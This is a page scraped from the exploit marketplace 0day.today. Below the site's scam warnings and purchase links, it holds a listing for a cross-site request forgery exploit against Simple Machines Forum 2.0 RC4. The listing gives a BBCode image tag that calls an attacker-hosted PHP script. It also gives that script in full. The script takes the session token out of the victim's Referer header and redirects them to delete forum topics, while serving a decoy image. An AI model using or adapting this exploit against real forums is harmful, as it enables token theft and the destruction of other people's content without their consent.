0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Simple Machines Forum <= 2.0 RC4 Sesc theft (XSRF)
# Exploit Title: Simple Machines Forum <= 2.0 RC4 Sesc theft (XSRF) # Author: Xianur0 # Author Mail: xianur0.null[at] gmail.com # Software Link: http://www.simplemachines.org Exploit Code: [img]http://attacker/exploit.php[/img] Now need to someone with permissions to cite or edit a message (having the preview turned on) :P exploit.php: <?php // By Xianur0 $imagen = "real-image.jpg"; error_reporting(0); function delete($path,$topic,$sesc) { if(!preg_match("/index.php$/",$path)) $path = preg_replace("/\/([^\/]+)$/","/",$path); header("Location: ".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302); } function mostrarimagen($imagen) { header("Content-Type: image/jpeg"); print file_get_contents($imagen); } if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) && preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) && preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) && preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) { $sesc = $matches[1]; $topic = $matchess[1]; $path = $matchesss[1]; delete($path,$topic,$sesc); exit; } mostrarimagen($imagen); ?> # 0day.today [2024-11-16] #